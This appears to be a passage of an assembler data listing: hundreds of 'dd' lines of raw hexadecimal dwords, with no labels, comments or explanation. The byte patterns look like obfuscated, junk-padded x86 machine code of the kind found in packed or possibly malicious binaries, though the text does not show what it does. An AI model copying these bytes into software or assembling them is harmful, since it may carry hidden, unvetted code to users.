		dd 3D6D0382h, 0C7A004h,	18h, 36C612BFh,	0EEB58B5Dh, 6006ACADh
		dd 0E919501h, 816606A9h, 613BC6D3h, 32BD858Bh, 6A06A9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0C7B29C3h, 5A4CFBB3h, 958589B3h, 8906A922h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0D53475BFh, 0D4FABA70h, 858B1DE6h, 6A90619h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BEC35747h, 475B968Dh
		dd 0CD806052h, 895B6186h, 6A0446h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 9529FAC3h, 6A92E75h
		dd 0CE950h, 1F160000h, 22A18A2Ch, 87B46EACh, 34899052h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0EA53200Bh, 0FFA9B049h, 0ACADEAB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0B93E826h, 0FDEF9D43h, 0DCEABFC9h, 5E95B26h,	91000000h
		dd 0A1D80A52h, 0C5226F68h, 0AE8560Eh, 0BA000000h, 0D6BF4E6Dh
		dd 48B20D0Dh, 815B5FA0h, 21902434h, 858D0EDAh, 6ACADF2h
		dd 0C8B0Fh, 870F0000h, 6, 3189BD03h, 0F9006A9h,	0E8Eh
		dd 0F525000h, 8Fh, 57310F00h, 50585A5Bh, 6A90FBB7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0BC4CC350h, 95FF446Eh, 6A93579h, 3565BD8Bh, 0BF6106A9h
		dd 2EA8F4EAh, 11CD85C7h
		dd 306A9h, 9D890000h, 6A9224Dh,	0ADF2BD83h, 0F0006ACh
		dd 3984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0DE2D2DA2h, 30E9h, 10E900h, 73BA0000h
		dd 8DC33C50h, 8F06F149h, 7B66E803h, 30506583h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0D99D31C0h
		dd 6A06A928h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0C05DC353h, 10E9B3h, 412E0000h
		dd 0E04623C1h, 0C89BB23Eh, 3E0D4142h, 0BD01C2D5h, 6A9009Dh
		dd 11CDBD83h, 0F0306A9h, 3E485h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 77BAD763h
		dd 0BB66A4AEh, 7E90381h, 2C000000h, 70FFB04Fh, 0BD833824h
		dd 6ACADF2h, 0A6840F00h, 6A000003h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A73CC356h
		dd 39951EBEh, 8B2D45E3h, 0A912B19Dh, 68E0F06h, 81000000h
		dd 0D21AF9E7h, 0F2B5FF30h, 6606ACADh, 95FFF88Bh, 6A90B51h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5BC35242h
		dd 99A0EF4Ah, 5BC25CEDh, 59B589D3h, 8B06A902h, 0ACADE6B5h
		dd 0BD015106h, 6A90DCDh, 106C75Fh, 0F000100h, 0F96F8B7h
		dd 28Ch, 50DA8A00h, 2860Fh, 0FE8B0000h,	0D9BD8996h, 0FF06A913h
		dd 0ACADF2B5h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 8FE45B7Dh, 0EBC6CF1h
		dd 0F7DDCB81h, 95FF7C55h, 6A90EC5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C6C35040h,	0AD716068h, 0EB0586Ch
		dd 0ADE6B58Bh, 9D8906ACh, 6A90275h, 13BD858Bh, 9D8B06A9h
		dd 6A907B5h, 0C48689FCh, 8A000000h, 0CD958BDDh,	6A06A916h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 755EC351h, 2860Fh, 0F98A0000h, 0F04C283h
		dd 18Bh, 5089FC00h, 858DF820h, 6ACC1C3h, 1B870Fh, 0FE80000h
		dd 0BA000000h, 0A7035CBCh, 0A67A854Fh, 0C78221CCh, 85891F69h
		dd 6A92219h, 0B886895Bh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B7F7C351h
		dd 6C6FFD4Dh, 29D18922h, 0A9263D95h, 6A006A06h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0FE85C353h, 3CB9F54Bh, 0ADF2B5FFh, 9E906ACh,	3C000000h
		dd 0A1057717h, 5535E90Bh, 609BD8Bh, 95FF06A9h, 6A90669h
		dd 96FABF0Fh, 178E0Fh, 11E80000h, 94000000h, 6D005109h
		dd 3599186Ch, 0E276E705h, 0DCA3E9F1h, 0BE8505Fh, 0BF000000h
		dd 3ECA620Eh, 8EA04EF4h, 0F600F33h, 84h, 9E17BE00h, 5F615906h
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 407D8E02h, 48442CC1h, 0F2B5FF92h, 8B06ACADh
		dd 8995FFDEh, 8A06A90Ch, 19BD83F8h, 6A933h, 15840Fh, 0B5890000h
		dd 6A90A39h, 0E7F3BB50h, 348908FFh, 0D5CF8124h,	0FF30BAF8h
		dd 0ACADF2B5h, 0B59D8B06h, 0FF06A935h, 0A9178595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0A7BE8EC5h, 498589C0h, 0FF06A901h, 0ACADF2B5h, 19EB8006h
		dd 2A6195FFh, 0BF6606A9h, 0BD83C9A9h, 6A91E31h,	98840F02h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FB2C356h, 8Eh, 0DE800h, 6CD40000h
		dd 1F4E0D51h, 9F8F5294h, 0E8B1803Ch, 0Ah, 8871557Eh, 0D13EF151h
		dd 5B5FCC99h, 1111858Bh, 6A06A9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 816C22C3h, 4A5485F3h
		dd 0C61Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	9C35747h, 0DF60D6D8h, 459D8B3Ch, 0C706A92Dh, 0A902F185h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 11B53132h, 906A928h, 0A929F9B5h
		dd 0F397E906h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 34DCF5C3h, 0C18BDDB7h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0D9C35040h, 8B93215Fh
		dd 0DE8B66D9h, 535858Dh, 9D8B06A9h, 6A92831h, 0C8C0Fh
		dd 7E90000h, 0BE000000h, 0DE65BF33h, 0E890E83Fh, 0Dh, 0D6F5C621h
		dd 758C937Bh, 0E24CE03h, 8E8B9h, 95430000h, 0E2212C4Ch
		dd 5F5B1662h, 901EB750h, 0B69B501h, 9D8B06A9h, 6A92D11h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0AB2CEEC3h, 6A31D4h, 858D7AB7h, 6ADA2EFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8AC35646h
		dd 0C9628704h, 0DFBF6689h, 5C083FDh, 0C5DBD8Bh,	0E99006A9h
		dd 8, 0E809BDDEh, 0CABEBB3Ch, 0FB8B6650h, 53006A90h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0BD8BBB77h, 6A900F1h, 0DE8006Ah, 74000000h, 0BC2C9971h
		dd 0C0FE784Eh, 0C0F9464Ah, 8B5FFDB7h, 0A910C99Dh, 6A006A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0E518C351h, 0FFEEA232h, 0A92EA995h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0D9A5918Dh, 0AE9h, 2AC4DC00h, 0E5087E4Eh, 8D304822h
		dd 0AC98DE8Dh, 0EDBD8B06h, 0FF06A900h, 0E9FB8BD1h, 0Fh
		dd 5E8C46B7h, 447F7BB2h, 887ECE7Dh, 838389B4h, 0A912ADBDh
		dd 850F0106h, 0A8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 73C35646h, 2E260AC8h,	6ED4B76h, 6A026Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 6F0CFC3h, 0F90FA58h,	1A8Eh, 97B76000h, 11E9h, 8D18C000h
		dd 0B61883C0h, 0CF15AFB4h, 0D8464BB1h, 506125EDh, 3024BB66h
		dd 0D3816690h, 9D8B5A78h, 6A91329h, 66995FFh, 6A06A9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 14C068C3h, 393B0C83h, 9D892A19h, 6A931D5h, 0D75E9h
		dd 0E800h, 815D0000h, 0ADA2F9EDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A1CE56CFh
		dd 669F797Eh, 0ECBB6670h, 57006A18h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0BE9C90DBh
		dd 5B858DA5h, 8B06AC8Ah, 0A90525BDh, 0E1BF5006h, 895481DBh
		dd 8B662404h, 0EE9FAh, 0C2CC0000h, 0A60E3BEBh, 0E100B598h
		dd 55DF4FA1h, 35FF64h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0BFDFC353h
		dd 2C71BD8Bh, 896406A9h, 25h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 9D7628EDh, 0DD2346A4h, 170D85FFh, 6AF906A9h
		dd 0D1B5FFFFh, 8B06A917h, 0A9206DBDh, 0DD95FF06h, 0E906A934h
		dd 0FCh, 0B2D868BBh, 0F00B03Dh,	70E6FFBFh, 17880Fh, 12E90000h
		dd 0FF000000h, 0D81B6857h, 5D1F0DA8h, 0DCCB883Bh, 441D41B2h
		dd 5371E49Bh, 0AE9h, 2CECAF00h,	381060C1h, 5B92F649h, 830F613Ch
		dd 0B8h, 80B0BB66h, 0FC8B60Fh, 6BADBBFh, 52000000h, 0C1C18B5Fh
		dd 0FE8B04E8h, 89E2F766h, 0A9208D95h, 89C82B06h, 0A922C1BDh
		dd 0FD18B06h, 284h, 0E9D98B00h,	6, 939B531h, 858B06A9h
		dd 6A9103Dh, 0EDD9509h,	0C08306A9h, 0C99D8B07h,	8306A904h
		dd 9D8B00C0h, 6A92245h,	830FD03Bh, 10h,	0F227FBBBh, 4AE960h
		dd 8D290000h, 6A923F9h,	1FC18D8Bh, 0B70F06A9h, 1E183FFh
		dd 32840Fh, 0BD0B0000h,	6A911E5h, 1FC1A583h, 29FE06A9h
		dd 0A925198Dh, 3D958906h, 0E906A910h, 0Fh, 1320CB4Ch, 48DA32CDh
		dd 0D8B71C58h, 0E9B026C4h, 0
		dd 392B58Dh, 6A06ADh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0CFC593C3h, 8D6F4461h, 0B58936BDh
		dd 6A9288Dh, 0BD8B006Ah, 6A900EDh, 2D9595FFh, 6A06A9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 37E7ACC3h, 89E994ECh, 0A92C8995h, 90CB906h, 0BD890000h
		dd 6A907F5h, 0E9FCE183h, 8, 0CF1DFA3Dh,	6FDBBF29h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 1F83157Bh, 76401CB3h, 0B845h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 6A6840C3h
		dd 5B33021h, 0BAh, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0B91FB86h, 0E9D9D89h
		dd 33AD06A9h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0A30436C3h
		dd 51006AC9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 5D09BBCAh, 0DF500C9h, 88h, 0F5FBB70Fh, 16CD958Bh
		dd 9D8B06A9h, 6A91A75h,	0CD9D8B56h, 5B06A921h, 0CE58D8Bh
		dd 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D19C19C3h, 0EE9CFh, 5E1E0000h, 591EDECh
		dd 4E90DDDBh, 0AF7FCCC4h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 0DE8B5818h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B3C35040h, 0EF6CCAC8h, 9E8F2h, 8A1F0000h
		dd 78CE0FB2h, 8963F27Eh, 0A9171DBDh, 0FE95F06h,	0B7000000h
		dd 4B31CEE6h, 36C38FC6h, 5B468CEEh, 0BD83B457h,	6A933C9h
		dd 4D840F00h, 0B8000000h, 0
		dd 22D98D89h, 8D8D06A9h, 6A94DC0h, 13119589h, 0E1FF06A9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0AEC35747h
		dd 9D893BA3h, 6A92729h,	3FE0B860h, 8B661768h, 858961D3h
		dd 6A93185h, 11CDBD83h,	0F0006A9h, 4D984h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 9F05DD2Eh, 8D896057h, 6A934A1h, 61C7B70Fh, 0BD9D8B5Fh
		dd 8306A922h, 0A911CDBDh, 840F0106h, 4B5h, 0CA816660h
		dd 9D8B24CEh, 6A93369h,	0CDBD8361h, 306A911h, 465860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0FA8654C3h, 4D5BD09h, 6A6006A9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0CA9BC350h, 41BD01FDh, 6606A91Eh, 0E853D98Ch, 0Ah, 118962C7h
		dd 0D3CD1A7Fh, 8B66FE36h, 805F5FD8h, 0BD8B04E1h, 6A91F41h
		dd 840FC90Ah, 186h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0BEC35040h, 5F50CC87h, 631CC41Eh, 8BF8B70Fh
		dd 0A9061985h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B716508h, 0A9113DBDh
		dd 0F9853306h, 6A06A931h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 785FC356h, 41BD2B79h
		dd 0F06A908h, 0F90DBBFh, 1F81h,	19890F00h, 0E9000000h
		dd 14h,	97FBECECh, 5FC4AF7Dh, 0CBE780E2h, 0FD3894BDh, 2A7DC86Ch
		dd 0FE950h, 0DCE40000h,	0E3D96755h, 0F59743A5h,	944B4F6Dh
		dd 6A90BEh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 9FDFB9C3h, 3155BE4Ch, 0B558589h, 958906A9h
		dd 6A93231h, 9589006Ah,	6A9083Dh, 4E8h,	1F03FF00h, 0BE666000h
		dd 0BF66E1C0h, 506156C8h, 6E9h,	1E2C1300h, 8BD1F33Bh, 57042444h
		dd 50008B5Fh, 9E952h, 71310000h, 9600D42Ch, 0FA527F0h
		dd 5AF98B31h, 24448958h, 0FE8B6604h, 0ADB50158h, 8A06A92Dh
		dd 7995FFF9h, 8906A935h, 0A913D98Dh, 0F2858906h, 6006ACADh
		dd 0B15958Bh, 8D0906A9h, 6A90D4Dh, 1DEE961h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0C4637C3h, 667F3C8Ch, 858BFE8Bh, 6ACADEAh, 26F1BD89h
		dd 0B58906A9h, 6A925F5h, 1800C7h, 0BB660000h, 0B58B2D49h
		dd 6ACADEEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0DEC35141h, 0DC99C157h,	461A3EF8h, 799D8B49h, 8B06A920h
		dd 0A932BD85h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 2A5A6D0Eh, 66FB8B04h
		dd 689FA8Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	42C35242h, 9D8953E1h, 6A917D9h,	0CE9h, 70F1AB00h
		dd 662E96C6h, 0EB7851D1h, 19858BD9h, 6A06A906h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 126C355h, 3B035060h,	355036BBh, 446892Ch, 96DE8B66h
		dd 29B7BA60h, 506104ADh, 6A96ABB3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F167C357h
		dd 0B5FF3BF4h, 6ACADEAh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 36C35646h, 25DDBD89h,	226806A9h, 8BA31483h
		dd 240481F8h, 5D0A80DDh, 8DDEB70Fh, 0ACADF285h,	3D9D8906h
		dd 5006A90Eh, 0CE8h, 59167900h,	0D1C59572h, 401E43B6h
		dd 5BD88B58h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 3BF2C355h, 0FC8BD97h
		dd 680h, 41BD8B00h, 0FF06A909h,	0A9357995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 2997871Fh, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 5F1C6E5h,	660A387Bh, 0C720AABBh
		dd 0A911CD85h, 306h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 29A65137h, 29E1D250h
		dd 0A9057995h, 0F2BD8306h, 6ACADh, 4D840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0FF0374C3h, 29DD9D8Bh, 3FE906A9h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0E0B0C355h, 15B589F8h, 5006A90Fh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 84C0F8C3h
		dd 95896337h, 6A932B5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 5FC35545h, 1473BE42h,	89E48D74h, 11CDBD83h
		dd 0F0306A9h, 3A585h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0FE24FEF4h, 0F2BD83D4h
		dd 6ACADh, 378840Fh, 0FE90000h,	9A000000h, 8D4E4BB9h, 0BCC31DA6h
		dd 0E253F8B7h, 8D8991ECh, 6A907A1h, 0ADF2B5FFh,	8E0F06ACh
		dd 12h,	0DE9h, 0E0BEB100h, 4FC7C806h, 7921C525h, 810F14A8h
		dd 6, 9DD9D01h,	95FF06A9h, 6A90B51h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0A2C35141h,	78917644h, 958930ABh
		dd 6A91101h, 0E6B58BFCh, 6A06ACADh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E899C352h
		dd 8, 9796D125h, 55BA6D6Eh, 91BBCB81h, 535F635Ah, 5BFA8B66h
		dd 106C7h, 81660001h, 502A89F3h, 8B0CB0BBh, 2434890Ch
		dd 8890Fh, 89530000h, 0A916E98Dh, 0B5FF5F06h, 6ACADF2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 54C35545h
		dd 8F46C84Fh, 8CDC143h,	6D8D296Ah, 0FF06A902h, 0A90EC595h
		dd 14E906h, 87910000h, 5BCFDF69h, 9540912Eh, 0D5553A4Bh
		dd 41F1CA37h, 85290C22h, 6A90875h, 0ADE6B58Bh, 0E95106ACh
		dd 6, 80E852Bh,	815B4395h, 0E9A4FAEBh, 0BD858B47h, 0F506A913h
		dd 0C48689h, 7E90000h, 63000000h, 66E304F6h, 9D3148BCh
		dd 6A900F1h, 16CD958Bh,	850106A9h, 6A92971h, 2C55BD8Bh
		dd 0C28306A9h, 0E3C38104h, 892FE0FEh, 0BF662050h, 858D1ED4h
		dd 6ACC1C3h, 6E9FB8Bh, 7B000000h, 305DD2B4h, 0B886892Bh
		dd 81000000h, 54E1BBDFh, 80006A38h, 0B5FFEDDBh,	6ACADF2h
		dd 95FF7BB3h, 6A90669h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0F2C35646h, 12E94557h, 0F8000000h, 838359B9h
		dd 556A42Dh, 61B3D25Ah,	0A3752C80h, 10E89688h, 93000000h
		dd 0BDC99E2Ch, 0E3FA831Ah, 0F19EE43Ch, 0B74EB8CDh, 0E8505FBFh
		dd 0Ch,	2E789ECDh, 69EFC990h, 49A07FB7h, 28E0Fh
		dd 0FB8B0000h, 6A965Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 3CCCB3C3h, 56FFA63Fh, 67F3817Eh
		dd 601DF73Ch, 151DBD31h, 880F06A9h, 6, 1CBDB81h, 0FF617945h
		dd 0ACADF2B5h, 2290BF06h, 95FF6434h, 6A90C89h, 74DBB66h
		dd 3319BD83h, 0F0006A9h, 4084h,	8B96F900h, 8B0F50D9h, 5
		dd 0CE74BCBFh, 6A9661h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 782CD5C3h, 35B62B3Ch, 0D381A50Ch
		dd 6C33D093h, 442876BBh, 0F2B5FF6Dh, 8906ACADh,	0A934E9BDh
		dd 8595FF06h, 0FF06A917h, 0ACADF2B5h, 5ABB6606h, 6195FF90h
		dd 5306A92Ah, 2D39E381h, 0E95F4507h, 0Bh, 0C9ECFAA2h, 0AE7EFCA3h
		dd 83D7ABEDh, 0A91E31BDh, 840F0206h, 39h, 8BD9BF0Fh, 0A9111185h
		dd 10BB6606h, 0C624h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 1Ch, 67C35040h, 23A9A814h,	961EA16Eh, 0F466CCBFh
		dd 0F185C75Dh, 6A902h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 194CC352h
		dd 8AFDF307h, 0CE9DAh, 132B0000h, 8E98F92Eh, 0E844CCDBh
		dd 7CE9FA91h, 0E9FFFFF3h, 5, 0F5E18CDFh, 958D8917h, 8B06A931h
		dd 4187BFC1h, 858D124Fh, 6A90535h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 94C35242h, 0E3816658h, 0E8905C93h
		dd 0Dh,	42B1546Dh, 0C5F064D0h, 0CE0C480Eh, 59BF667Fh, 50505B3Bh
		dd 60310F52h, 5A6188B1h, 6A9058h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 3F79DEC3h, 8BA86CDDh
		dd 0A933E5BDh, 8B006A06h, 0A90CADBDh, 6A006A06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 1B87C350h, 7E953h, 7B790000h, 0C44DDC3Ch, 0BD8B5B05h
		dd 6A913FDh, 2725BD8Bh,	858D06A9h, 6ADB1F6h, 0BA0B21BFh
		dd 5C08364h, 0EE890h, 99150000h, 0A29160C8h, 0F202F00Bh
		dd 0D34E799Fh, 12E8h, 59824B00h, 2895586h, 0D977CB51h
		dd 0EC9182D3h, 50D55C2Eh, 5A310F52h, 505F5B58h,	25293BBBh
		dd 6A9006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 401AE8C3h, 0FD9D8B84h, 6A06A911h,	0FE900h
		dd 3BE10000h, 0D8BCD6FCh, 9BF3A513h, 3DDF672Bh,	0F006A0Eh
		dd 95FFF9BFh, 6A92EA9h,	45DBD8Bh, 8D8D06A9h, 6AC98DEh
		dd 22919D0Bh, 32BF06A9h, 0FF6B1F22h, 0D59D03D1h, 8306A931h
		dd 0A912ADBDh, 850F0106h, 1Fh, 4B59529h, 26A06A9h, 50DABF0Fh
		dd 489D88Bh, 0BF0F5224h, 95FF5FFAh, 6A90669h, 0E960F380h
		dd 0D0Ch, 0E8h,	0ED815D00h, 6ADB200h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D9C35141h,	0B92FFFF5h, 14E9D6h
		dd 0CC9F0000h, 0F4BE5DC8h, 75D697CEh, 0C59AAE95h, 43C04D20h
		dd 22B36F00h, 8DF9BF0Fh, 0AC8A5B85h, 0BD858906h, 5006A90Dh
		dd 28D0F52h, 8B000000h,	4895BDFh, 5840F24h, 0BF000000h
		dd 1D93FDC7h, 35FF64h, 0F5000000h, 258964h, 89000000h
		dd 0A902ED95h, 0D85FF06h, 0B706A917h, 3DBD8B3Ch, 6A06A934h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 8D1147D8h, 71BD8BBFh, 0FF06A935h, 0A927F9B5h
		dd 6820F06h, 8B000000h,	0A914219Dh, 0DD95FF06h,	0E906A934h
		dd 13Fh, 26F19D8Bh, 9D8B06A9h, 6A910D5h, 9D8B00B0h, 6A91145h
		dd 858970E6h, 6A93195h,	0B58971E4h, 6A91F29h, 830F613Ch
		dd 113h, 0C8B60FF8h, 11E95153h,	86000000h, 0AC888682h
		dd 52735C8Ch, 5118F04h,	0E538EC5Bh, 6BA5F5Bh, 66000000h
		dd 8164D781h, 8880Fh, 850F0000h, 2, 0C18B6160h,	231B589h
		dd 0E8C106A9h, 68F0F04h, 89000000h, 0A9240185h,	0E2F76606h
		dd 0DAD48060h, 17880Fh,	12E90000h, 0B000000h, 12BD91B5h
		dd 66674C16h, 0FE3CFD08h, 5EDA20BCh, 0C82B6170h, 0C42FF781h
		dd 8BF560B8h, 198D89D1h, 0E906A925h, 13h, 7E8h,	0E723F000h
		dd 0DDEC6EB4h, 20CD9D8Bh, 8B5F06A9h, 0A92CD985h, 359D8B06h
		dd 8306A906h, 0D78107C0h, 6DD71BE8h, 6600C083h,	835FE381h
		dd 830FD03Bh, 1Ah, 1281BD33h, 0BB6606A9h, 44E996E2h, 0F000000h
		dd 58Bh, 0CB816600h, 8D8BE215h,	6A92D5Dh, 0F01E183h, 2A84h
		dd 83FCF900h, 0A92D5DA5h, 0BF66FE06h, 7E95602h,	6E000000h
		dd 71285E82h, 958901E5h, 6A92CD9h, 2C4DBD8Bh, 0E906A9h
		dd 8D000000h, 0AD0E5BB5h, 8D858906h, 8B06A903h,	0A9056DBDh
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 2135C353h, 95FF5689h, 6A92D95h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 35C35545h
		dd 79E0778Ch, 2FF7EA19h, 6840Fh, 9D8B0000h, 6A92669h, 9783DB81h
		dd 0CCB95656h, 0BF000008h, 7B8D2FB1h, 0FFCE183h, 0B8FCFFBFh
		dd 0
		dd 0DE9h, 0F4D80700h, 8968B5F0h, 0E0E82D3Fh, 0BA7580h
		dd 2B000000h, 0A90529BDh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 0CE9F4h, 2F0C0000h, 687C2E4Ch, 0B045EC6h, 160B242h
		dd 0A92A79B5h, 0F88B6606h, 880D61h, 0FB8B0000h,	16CD958Bh
		dd 0B58906A9h, 6A90DEDh, 0CE58D8Bh, 6A06A9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 3EFEAEC3h
		dd 0E8FD8AC0h, 14h, 0B3B858A4h,	1A64C247h, 9BFF4184h, 91C7BA47h
		dd 0E95E653Fh, 5FB1CB80h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 9D035818h, 6A915C1h, 2E89BD8Bh, 0BD8306A9h
		dd 6A933C9h, 6D840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0E4D8C350h
